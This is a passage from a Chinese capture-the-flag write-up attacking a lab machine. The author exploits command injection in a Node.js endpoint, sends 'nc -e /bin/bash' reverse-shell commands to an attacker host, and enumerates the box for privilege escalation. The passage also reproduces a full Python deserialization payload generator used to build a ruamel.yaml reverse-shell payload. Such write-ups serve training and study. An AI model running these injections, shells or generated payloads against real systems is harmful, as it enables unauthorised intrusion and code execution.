res.send(err);\n        }\n\n        exec(&quot;md5sum &quot;.concat(__dirname).concat(&quot;\/uploads\/&quot;).concat(req.file.filename), (error, stdout, stderr) =&gt; {\n            console.log(`stdout: ${stdout}`);\n            res.end(`stdout: ${stdout}`)\n        });\n    });\n});\n\napp.get(&#039;\/internal-processes-v1-display&#039;, function (req, res) {\n\n    uid = req.query.uid\n    console.log(uid)\n    exec(&quot;ps aux | grep &quot;.concat(uid), (error, stdout, stderr) =&gt; {\n        console.log(`stdout: ${stdout}`);\n        res.end(`stdout: ${stdout} :: ${uid}`)\n    });\n\n});\n\napp.listen(4000, function () {\n    console.log(&#039;listening to port 4000&#039;)\n});<\/code><\/pre>\n<p>\u53d1\u73b0\u4e00\u4e2a\u9690\u85cf\u7684api\u63a5\u53e3\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/192.168.10.103:4000\/internal-processes-v1-display&quot; \nstdout: www-data     795  0.0  0.0   2420   584 ?        S    02:14   0:00 \/bin\/sh -c ps aux | grep undefined\nwww-data     797  0.0  0.0   6180   712 ?        S    02:14   0:00 grep undefined\n :: undefined<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u5229\u7528\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/192.168.10.103:4000\/internal-processes-v1-display?uid=root&quot;\nstdout: root           1  0.2  0.4  98140 10088 ?        Ss   02:08   0:01 \/sbin\/init\nroot           2  0.0  0.0      0     0 ?        S    02:08   0:00 [kthreadd]\nroot           3  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [rcu_gp]\nroot           4  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [rcu_par_gp]\nroot           5  0.2  0.0      0     0 ?        I    02:08   0:01 [kworker\/0:0-events]\nroot           6  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kworker\/0:0H-events_highpri]\nroot           8  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker\/u2:0-ext4-rsv-conversion]\nroot           9  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [mm_percpu_wq]\nroot          10  0.0  0.0      0     0 ?        S    02:08   0:00 [rcu_tasks_rude_]\nroot          11  0.0  0.0      0     0 ?        S    02:08   0:00 [rcu_tasks_trace]\nroot          12  0.0  0.0      0     0 ?        S    02:08   0:00 [ksoftirqd\/0]\nroot          13  0.0  0.0      0     0 ?        I    02:08   0:00 [rcu_sched]\nroot          14  0.0  0.0      0     0 ?        S    02:08   0:00 [migration\/0]\nroot          15  0.0  0.0      0     0 ?        S    02:08   0:00 [cpuhp\/0]\nroot          17  0.0  0.0      0     0 ?        S    02:08   0:00 [kdevtmpfs]\nroot          18  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [netns]\nroot          19  0.0  0.0      0     0 ?        S    02:08   0:00 [kauditd]\nroot          20  0.0  0.0      0     0 ?        S    02:08   0:00 [khungtaskd]\nroot          21  0.0  0.0      0     0 ?        S    02:08   0:00 [oom_reaper]\nroot          22  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [writeback]\nroot          23  0.0  0.0      0     0 ?        S    02:08   0:00 [kcompactd0]\nroot          24  0.0  0.0      0     0 ?        SN   02:08   0:00 [ksmd]\nroot          25  0.0  0.0      0     0 ?        SN   02:08   0:00 [khugepaged]\nroot          43  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kintegrityd]\nroot          44  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kblockd]\nroot          45  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [blkcg_punt_bio]\nroot          46  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [edac-poller]\nroot          47  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [devfreq_wq]\nroot          48  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kworker\/0:1H-kblockd]\nroot          49  0.0  0.0      0     0 ?        S    02:08   0:00 [kswapd0]\nroot          50  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kthrotld]\nroot          51  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [acpi_thermal_pm]\nroot          52  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [ipv6_addrconf]\nroot          62  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kstrp]\nroot          65  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [zswap-shrink]\nroot          66  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [kworker\/u3:0]\nroot         109  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [ata_sff]\nroot         110  0.0  0.0      0     0 ?        S    02:08   0:00 [scsi_eh_0]\nroot         111  0.0  0.0      0     0 ?        S    02:08   0:00 [scsi_eh_1]\nroot         112  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [scsi_tmf_0]\nroot         113  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [scsi_tmf_1]\nroot         114  0.0  0.0      0     0 ?        S    02:08   0:00 [scsi_eh_2]\nroot         115  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [scsi_tmf_2]\nroot         116  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker\/u2:2-flush-8:0]\nroot         118  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker\/0:3-ata_sff]\nroot         152  0.0  0.0      0     0 ?        S    02:08   0:00 [jbd2\/sda1-8]\nroot         153  0.0  0.0      0     0 ?        I&lt;   02:08   0:00 [ext4-rsv-conver]\nroot         187  0.0  0.6  48224 12332 ?        Ss   02:09   0:00 \/lib\/systemd\/systemd-journald\nroot         214  0.0  0.2  22060  5700 ?        Ss   02:09   0:00 \/lib\/systemd\/systemd-udevd\nroot         283  0.0  0.0      0     0 ?        I&lt;   02:09   0:00 [cryptd]\nroot         284  0.0  0.0      0     0 ?        S    02:09   0:00 [irq\/18-vmwgfx]\nroot         285  0.0  0.0      0     0 ?        I&lt;   02:09   0:00 [ttm_swap]\nroot         286  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc0]\nroot         287  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc1]\nroot         288  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc2]\nroot         289  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc3]\nroot         290  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc4]\nroot         291  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc5]\nroot         292  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc6]\nroot         293  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc7]\nroot         381  0.0  0.2  99824  5828 ?        Ssl  02:09   0:00 \/sbin\/dhclient -4 -v -i -pf \/run\/dhclient.enp0s3.pid -lf \/var\/lib\/dhcp\/dhclient.enp0s3.leases -I -df \/var\/lib\/dhcp\/dhclient6.enp0s3.leases enp0s3\nroot         382  0.0  0.1   6684  2848 ?        Ss   02:09   0:00 \/usr\/sbin\/cron -f\nroot         386  0.0  0.2 220740  6032 ?        Ssl  02:09   0:00 \/usr\/sbin\/rsyslogd -n -iNONE\nroot         387  0.0  0.1   6756  3116 ?        Ss   02:09   0:00 \/bin\/bash \/root\/.s\/starts.sh\nroot         389  0.0  0.2  21536  5528 ?        Ss   02:09   0:00 \/lib\/systemd\/systemd-logind\nroot         390  0.0  0.2  14560  4944 ?        Ss   02:09   0:00 \/sbin\/wpa_supplicant -u -s -O \/run\/wpa_supplicant\nroot         416  0.0  0.4  16396  9844 ?        S    02:09   0:00 python3 socket-root.py\nroot         433  0.0  0.0   5784  1628 tty1     Ss+  02:09   0:00 \/sbin\/agetty -o -p -- \\u --noclear tty1 linux\nroot         697  0.0  0.3  13292  7104 ?        Ss   02:09   0:00 sshd: \/usr\/sbin\/sshd -D [listener] 0 of 10-100 startups\nroot         710  0.0  0.9 193784 19692 ?        Ss   02:09   0:00 \/usr\/sbin\/apache2 -k start\nroot         794  0.0  0.0      0     0 ?        I    02:14   0:00 [kworker\/0:1-ata_sff]\nroot         798  0.0  0.0      0     0 ?        I    02:15   0:00 [kworker\/u2:1-flush-8:0]\nwww-data     799  0.0  0.0   2420   576 ?        S    02:16   0:00 \/bin\/sh -c ps aux | grep root\nwww-data     801  0.0  0.0   6312   652 ?        S    02:16   0:00 grep root\n :: root<\/code><\/pre>\n<p>\u5c1d\u8bd5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/192.168.10.103:4000\/internal-processes-v1-display?uid=root|whoami;id&quot;\nstdout: www-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n :: root|whoami;id<\/code><\/pre>\n<p>\u5c1d\u8bd5\u53cd\u5f39shell\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/192.168.10.103:4000\/internal-processes-v1-display?uid=root|nc+-e+\/bin\/bash+192.168.10.104+1234&quot;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537905.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537905.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809141839528\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@Supra:\/var\/www\/api$ ls -la\ntotal 132\ndrwxr-xr-x   5 root     root       4096 Oct 10  2021 .\ndrwxr-xr-x   4 root     root       4096 Oct 10  2021 ..\n-rw-r--r--   1 root     root       3666 Oct 10  2021 app.js\ndrwxr-xr-x 149 root     root       4096 Oct 12  2021 node_modules\n-rw-r--r--   1 root     root        432 Oct 12  2021 package.json\n-rw-r--r--   1 root     root     101932 Oct 12  2021 package-lock.json\n-rwxr-xr-x   1 root     root         24 Oct 10  2021 start.sh\ndrwxr-xr-x   2 www-data www-data   4096 Aug  9 00:20 uploads\ndrwxr-xr-x   2 root     root       4096 Oct 10  2021 views\n(remote) www-data@Supra:\/var\/www\/api$ cat start.sh \n#!\/bin\/bash\nnode app.js\n(remote) www-data@Supra:\/var\/www\/api$ cat package.json \n{\n  &quot;name&quot;: &quot;api&quot;,\n  &quot;version&quot;: &quot;1.0.0&quot;,\n  &quot;description&quot;: &quot;&quot;,\n  &quot;main&quot;: &quot;app.js&quot;,\n  &quot;scripts&quot;: {\n    &quot;test&quot;: &quot;echo \\&quot;Error: no test specified\\&quot; &amp;&amp; exit 1&quot;\n  },\n  &quot;keywords&quot;: [],\n  &quot;author&quot;: &quot;&quot;,\n  &quot;license&quot;: &quot;ISC&quot;,\n  &quot;dependencies&quot;: {\n    &quot;ejs&quot;: &quot;^3.1.6&quot;,\n    &quot;express&quot;: &quot;^4.17.1&quot;,\n    &quot;generate-password&quot;: &quot;^1.6.1&quot;,\n    &quot;ip-regex&quot;: &quot;^4.3.0&quot;,\n    &quot;multer&quot;: &quot;^1.4.3&quot;,\n    &quot;node-xwhois&quot;: &quot;^2.0.10&quot;,\n    &quot;nodejs-base64&quot;: &quot;^2.0.0&quot;\n  }\n}\n(remote) www-data@Supra:\/var\/www\/api$ sudo -l\nbash: sudo: command not found\n(remote) www-data@Supra:\/var\/www\/api$ ls -la \/home\/it404\/\ntotal 24\ndrwxr-xr-x  2 it404 it404 4096 Oct 12  2021 .\ndrwxr-xr-x  3 root  root  4096 Oct  6  2021 ..\n-rw-r--r--  1 it404 it404  220 Oct  6  2021 .bash_logout\n-rw-r--r--  1 it404 it404 3526 Oct  6  2021 .bashrc\n-rw-r-----+ 1 root  root    32 Oct 12  2021 local.txt\n-rw-r--r--  1 it404 it404  807 Oct  6  2021 .profile<\/code><\/pre>\n<h3>ACls\u67e5\u770b\u6587\u4ef6<\/h3>\n<p>\u770b\u5230\u4e00\u4e2a\u52a0\u53f7\uff0c\u660e\u663e\u662fAcls\u6743\u9650\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6709\u54ea\u4e9b\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@Supra:\/home\/it404$ getfacl local.txt \n# file: local.txt\n# owner: root\n# group: root\nuser::rw-\nuser:it404:r--\ngroup::---\nmask::r--\nother::---\n(remote) www-data@Supra:\/home\/it404$ cat \/etc\/group | grep user\nusers:x:100:\n(remote) www-data@Supra:\/home\/it404$ cat \/etc\/group | grep mask<\/code><\/pre>\n<h3>\u53cd\u5e8f\u5217\u5316+yaml\u63d0\u5347\u7528\u6237\u6743\u9650<\/h3>\n<p>\u6ca1\u6536\u83b7\uff0c\u5148\u8bb0\u4e0b\uff0c\u67e5\u770b\u5176\u4ed6\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@Supra:\/home\/it404$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/usr\/sbin\/exim4\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/bin\/passwd\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chsh\n\/usr\/bin\/newgrp\n\/usr\/bin\/chfn\n\/usr\/bin\/su\n\/usr\/bin\/mount\n(remote) www-data@Supra:\/home\/it404$ \/usr\/sbin\/getcap -r \/ 2&gt;\/dev\/null\n\/usr\/bin\/ping cap_net_raw=ep\n(remote) www-data@Supra:\/home\/it404$ ss -tlunp\nNetid              State               Recv-Q              Send-Q                           Local Address:Port                           Peer Address:Port              Process              \nudp                UNCONN              0                   0                                      0.0.0.0:68                                  0.0.0.0:*                                      \ntcp                LISTEN              0                   128                                  127.0.0.1:8081                                0.0.0.0:*                                      \ntcp                LISTEN              0                   128                                    0.0.0.0:22                                  0.0.0.0:*                                      \ntcp                LISTEN              0                   20                                   127.0.0.1:25                                  0.0.0.0:*                                      \ntcp                LISTEN              0                   511                                          *:80                                        *:*                                      \ntcp                LISTEN              0                   128                                       [::]:22                                     [::]:*                                      \ntcp                LISTEN              0                   20                                       [::1]:25                                     [::]:*                                      \ntcp                LISTEN              0                   511                                          *:4000                                      *:*                  users:((&quot;node&quot;,pid=415,fd=18))<\/code><\/pre>\n<p>\u53d1\u73b0\u5185\u90e8\u5f00\u653e\u4e86\u4e00\u4e2a<code>25<\/code>\u53f7\u7aef\u53e3\u4ee5\u53ca<code>8081<\/code>\u7aef\u53e3\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6709\u5565\u6d88\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@Supra:\/home\/it404$ ip a\n1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n    link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n    inet 127.0.0.1\/8 scope host lo\n       valid_lft forever preferred_lft forever\n    inet6 ::1\/128 scope host \n       valid_lft forever preferred_lft forever\n2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000\n    link\/ether 08:00:27:f5:94:be brd ff:ff:ff:ff:ff:ff\n    inet 192.168.10.103\/24 brd 192.168.10.255 scope global dynamic enp0s3\n       valid_lft 6066sec preferred_lft 6066sec\n    inet6 fd00:4c10:d50a:f900:a00:27ff:fef5:94be\/64 scope global dynamic mngtmpaddr \n       valid_lft 86257sec preferred_lft 14257sec\n    inet6 fe80::a00:27ff:fef5:94be\/64 scope link \n       valid_lft forever preferred_lft forever\n(remote) www-data@Supra:\/home\/it404$ cd \/\n(remote) www-data@Supra:\/$ ls -la\ntotal 68\ndrwxr-xr-x  18 root root  4096 Oct  6  2021 .\ndrwxr-xr-x  18 root root  4096 Oct  6  2021 ..\nlrwxrwxrwx   1 root root     7 Oct  6  2021 bin -&gt; usr\/bin\ndrwxr-xr-x   3 root root  4096 Oct  6  2021 boot\ndrwxr-xr-x  17 root root  3140 Aug  9 02:07 dev\ndrwxr-xr-x  86 root root  4096 Aug  9 02:07 etc\ndrwxr-xr-x   3 root root  4096 Oct  6  2021 home\nlrwxrwxrwx   1 root root    30 Oct  6  2021 initrd.img -&gt; boot\/initrd.img-5.10.0-8-amd64\nlrwxrwxrwx   1 root root    30 Oct  6  2021 initrd.img.old -&gt; boot\/initrd.img-5.10.0-8-amd64\nlrwxrwxrwx   1 root root     7 Oct  6  2021 lib -&gt; usr\/lib\nlrwxrwxrwx   1 root root     9 Oct  6  2021 lib32 -&gt; usr\/lib32\nlrwxrwxrwx   1 root root     9 Oct  6  2021 lib64 -&gt; usr\/lib64\nlrwxrwxrwx   1 root root    10 Oct  6  2021 libx32 -&gt; usr\/libx32\ndrwx------   2 root root 16384 Oct  6  2021 lost+found\ndrwxr-xr-x   3 root root  4096 Oct  6  2021 media\ndrwxr-xr-x   2 root root  4096 Oct  6  2021 mnt\ndrwxr-xr-x   3 root root  4096 Oct 11  2021 opt\ndr-xr-xr-x 149 root root     0 Aug  9 01:38 proc\ndrwx------   6 root root  4096 Oct 12  2021 root\ndrwxr-xr-x  18 root root   520 Aug  9 02:07 run\nlrwxrwxrwx   1 root root     8 Oct  6  2021 sbin -&gt; usr\/sbin\ndrwxr-xr-x   2 root root  4096 Oct  6  2021 srv\ndr-xr-xr-x  13 root root     0 Aug  9 01:38 sys\ndrwxrwxrwt  10 root root  4096 Aug  9 02:14 tmp\ndrwxr-xr-x  14 root root  4096 Oct  6  2021 usr\ndrwxr-xr-x  12 root root  4096 Oct  6  2021 var\nlrwxrwxrwx   1 root root    27 Oct  6  2021 vmlinuz -&gt; boot\/vmlinuz-5.10.0-8-amd64\nlrwxrwxrwx   1 root root    27 Oct  6  2021 vmlinuz.old -&gt; boot\/vmlinuz-5.10.0-8-amd64\n(remote) www-data@Supra:\/$ cd opt\n(remote) www-data@Supra:\/opt$ ls -la\ntotal 12\ndrwxr-xr-x  3 root root 4096 Oct 11  2021 .\ndrwxr-xr-x 18 root root 4096 Oct  6  2021 ..\ndrwxr-xr-x  2 root root 4096 Oct 12  2021 api\n(remote) www-data@Supra:\/opt$ cd api\/\n(remote) www-data@Supra:\/opt\/api$ ls -la\ntotal 20\ndrwxr-xr-x 2 root     root     4096 Oct 12  2021 .\ndrwxr-xr-x 3 root     root     4096 Oct 11  2021 ..\n-rwxrwxrwx 1 www-data www-data  445 Oct 11  2021 accounts.yaml\n-rw-r--r-- 1 root     root      609 Oct 12  2021 internal-api.py\n-rwxr-xr-x 1 root     root       36 Oct 11  2021 start-internal.sh\n(remote) www-data@Supra:\/opt\/api$ cat start-internal.sh \n#!\/bin\/bash\npython3 internal-api.py\n(remote) www-data@Supra:\/opt\/api$ cat accounts.yaml \nemails:\n\n  - Gloriawrong@zonnetd.nl\n  - cheerfulMark93@atbt.net\n  - horribleMicheal30@aliceaedsl.fr\n  - Tamaradull@aiam.com\n  - Grantitchy@lieve.ca\n  - easyAngelica60@heatnet.nl\n  - Rebekaheasy@lieve.com\n  - zealousKatelyn@ggmail.com\n  - depressedBridget62@yahooi.com.ar\n  - fierceBrooke@optoniline.net\n\npasswords:\n\n  - 6NpjqVCM\n  - mzPdgc9V\n  - fpRze8bn\n  - x4Lm3W6M\n  - tYUBN6Qx\n  - 8zNBxXcd\n  - X48UYKrw\n  - xEfjB39C\n  - Wk956r4a\n  - UKQC5q2a(remote) www-data@Supra:\/opt\/api$ cat internal-api.py \nfrom flask import Flask, request\n#import yaml\nimport ruamel.yaml\nimport warnings\nfrom base64 import b64decode\n\nwarnings.simplefilter(&#039;ignore&#039;, ruamel.yaml.error.UnsafeLoaderWarning)\n\nfrom yaml.loader import FullLoader\napp = Flask(__name__)\n\n@app.route(&quot;\/&quot;, methods=[&quot;GET&quot;])\ndef index():\n    return &quot;Supra Internals&quot;\n\n@app.route(&quot;\/read-leaked-accounts&quot;, methods=[&quot;GET&quot;])\ndef read():\n    with open(r&#039;.\/accounts.yaml&#039;) as file:\n        #accounts = yaml.load(file, Loader=FullLoader)\n        accounts = ruamel.yaml.load(file)\n    return accounts\n\nif __name__ == &#039;__main__&#039;:\n    app.run(&quot;127.0.0.1&quot;, port=8081)<\/code><\/pre>\n<p>\u627e\u5230\u4e86\u4ee3\u7801\uff0c\u4e14<code>accounts.yaml<\/code>\u53ef\u5199\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6709\u6ca1\u6709\u529e\u6cd5\u52ab\u6301\u914d\u7f6e\u6587\u4ef6\u641e\u70b9\u4e8b\u60c5\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537906.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537906.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809143213416\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p><a href=\"https:\/\/book.hacktricks.xyz\/pentesting-web\/deserialization\/python-yaml-deserialization\">https:\/\/book.hacktricks.xyz\/pentesting-web\/deserialization\/python-yaml-deserialization<\/a><\/p>\n<p>\u5c1d\u8bd5\u770b\u4e00\u4e0b\u662f\u5426\u53ef\u4ee5\u641e\u4e8b\u60c5\uff1a<\/p>\n<pre><code class=\"language-python\">import yaml\nfrom yaml import UnsafeLoader, FullLoader, Loader\nimport subprocess\n\nclass Payload(object):\n    def __reduce__(self):\n        return (subprocess.Popen,(&#039;ls&#039;,))\n\ndeserialized_data = yaml.dump(Payload()) # serializing data\nprint(deserialized_data)\n\n#!!python\/object\/apply:subprocess.Popen\n#- ls\n\nprint(yaml.load(deserialized_data, Loader=UnsafeLoader))\nprint(yaml.load(deserialized_data, Loader=Loader))\nprint(yaml.unsafe_load(deserialized_data))\n\n# python3 exp.py\n# !!python\/object\/apply:subprocess.Popen\n# - ls\n\n# &lt;Popen: returncode: None args: &#039;ls&#039;&gt;\n# exp.py  exp.sh  result.txt\n# exp.py  exp.sh  result.txt\n# &lt;Popen: returncode: None args: &#039;ls&#039;&gt;\n# &lt;Popen: returncode: None args: &#039;ls&#039;&gt;\n# exp.py  exp.sh  result.txt<\/code><\/pre>\n<p>\u4f46\u662f\u6267\u884c\u6548\u679c\u4e0d\u597d\uff0c\u53ef\u80fd\u4f7f\u7528\u9519\u4e86\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u522b\u4eba\u5199\u7684\u811a\u672c\uff1a<a href=\"https:\/\/github.com\/j0lt-github\/python-deserialization-attack-payload-generator\">https:\/\/github.com\/j0lt-github\/python-deserialization-attack-payload-generator<\/a><\/p>\n<pre><code class=\"language-python\"># Python Deserialization attack payload file generator for pickle ,pyYAML, ruamel.yaml and jsonpickle module by j0lt\n# Requirements : Python 3.x , modules jsonpickle, pyyaml\n# Version : 2.3\n# Usage : python peas.py\n\nimport pickle\nfrom base64 import b64encode, b64decode\nimport jsonpickle\nimport yaml\nimport subprocess\nfrom copy import deepcopy\n\nclass Gen(object):\n    def __init__(self, payload):\n        self.payload = payload\n\n    def __reduce__(self):\n        return subprocess.Popen, (self.payload,)\n\nclass Payload(object):\n\n    def __init__(self, c, location, base, os):\n        self.location = location\n        self.base = base\n        self.os = os\n        self.prefix = &#039;&#039; if self.os == &#039;linux&#039; else &quot;cmd.exe \/c &quot;\n        self.cmd = self.prefix+c\n        self.payload = b&#039;&#039;\n        self.quotes = True if &quot;\\&#039;&quot; in self.cmd or &quot;\\&quot;&quot; in self.cmd else False\n\n    def pick(self):\n        self.payload = pickle.dumps(Gen(tuple(self.case().split(&quot; &quot;))))\n        self.payload = self.verifyencoding()\n        self.savingfile(&quot;_pick&quot;)\n\n    def ya(self):\n        if self.quotes:\n            self.payload = b64decode(&quot;ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4KLSAhIXB5dGhvbi90dXBsZQogIC0g&quot;\n                                     &quot;cHl0aG9uCiAgLSAtYwogIC0gIl9faW1wb3J0X18oJ29zJykuc3lzdGVtKHN0cihfX2ltcG9ydF9fKCdiY&quot;\n                                     &quot;XNlNjQnKS5iNjRkZWNvZGUoJw==&quot;) + b64encode(bytes(self.cmd, &#039;utf-8&#039;)) + \\\n                           b64decode(&quot;JykuZGVjb2RlKCkpKSI=&quot;)\n        else:\n            self.payload = bytes(yaml.dump(Gen(tuple(self.cmd.split(&quot; &quot;)))), &#039;utf-8&#039;)\n        self.payload = self.verifyencoding()\n        self.savingfile(&quot;_yaml&quot;)\n\n    def js(self):\n        self.payload = bytes(jsonpickle.encode(Gen(tuple(self.case().split(&quot; &quot;)))),\n                             &#039;utf-8&#039;)\n        self.payload = self.verifyencoding()\n        self.savingfile(&quot;_jspick&quot;)\n\n    def __add__(self, other):\n        return self + other\n\n    def verifyencoding(self):\n        return b64encode(self.payload) if self.base else self.payload\n\n    def savingfile(self, suffix):\n        open(self.location.__add__(suffix), &quot;wb&quot;).write(self.payload)\n\n    def chr_encode(self, data):\n        d = &#039;+&#039;.join([&#039;chr(&#039;+str(ord(ii))+&#039;)&#039; for ii in data])\n        return d\n\n    def case(self):\n        cmd = deepcopy(self.cmd)\n        if self.quotes:\n            cmd = self.prefix+&quot;python -c exec({})&quot;.format(self.chr_encode(&quot;__import__(&#039;os&#039;).system&quot;\n                                                                               &quot;(__import__(&#039;base64&#039;).b64decode({})&quot;\n                                                                              &quot;.decode(&#039;utf-8&#039;))&quot;.\n                                                                               format(b64encode(bytes(self.cmd, &#039;utf-8&#039;)\n                                                                                                ))))\n        return cmd \n\nif __name__ == &quot;__main__&quot;:\n    cmd = input(&quot;Enter RCE command :&quot;)\n    o = &#039;linux&#039; if input(&quot;Enter operating system of target [linux\/windows] . Default is linux :&quot;).lower() != &quot;windows&quot; \\\n        else &#039;windows&#039;\n    b = True if input(&quot;Want to base64 encode payload ? [N\/y] :&quot;).lower() == &quot;y&quot; else False\n    p = Payload(cmd, input(&quot;Enter File location and name to save :&quot;), b, o)\n    funtiondict = {&quot;pickle&quot;: p.pick, &quot;pyyaml&quot;: p.ya, &quot;ruamel.yaml&quot;: p.ya, &quot;jsonpickle&quot;: p.js}\n    while 1:\n        module = input(&quot;Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :&quot;).lower()\n        if module in funtiondict.keys():\n            funtiondict[module]()\n            break\n        elif module == &quot;all&quot;:\n            for i in funtiondict.keys():\n                funtiondict[i]()\n            break\n        else:\n            print(&quot;Wrong Input &quot;)\n            continue\n    print(&quot;Done Saving file !!!!&quot;)<\/code><\/pre>\n<p>\u5148\u5b89\u88c5\u4e00\u4e0b\u914d\u7f6e\u7684\u5e93\uff1a<\/p>\n<pre><code class=\"language-text\"># requirements.txt\njsonpickle==1.2\nPyYAML==5.1.2<\/code><\/pre>\n<p>\u7136\u540e\u751f\u6210\u8f7d\u8377;<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ python3 peas.py                   \nEnter RCE command :nc -e \/bin\/bash 192.168.10.104 2345\nEnter operating system of target [linux\/windows] . Default is linux :\nWant to base64 encode payload ? [N\/y] :N\nEnter File location and name to save :.\/badcode\nSelect Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :ruamel.yaml\nDone Saving file !!!!\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ ls -la\ntotal 604\ndrwxr-xr-x   2 kali kali   4096 Aug  9 02:53 .\ndrwxr-xr-x 121 kali kali   4096 Aug  9 01:06 ..\n-rw-r--r--   1 kali kali    114 Aug  9 02:53 badcode_yaml\n-rw-r--r--   1 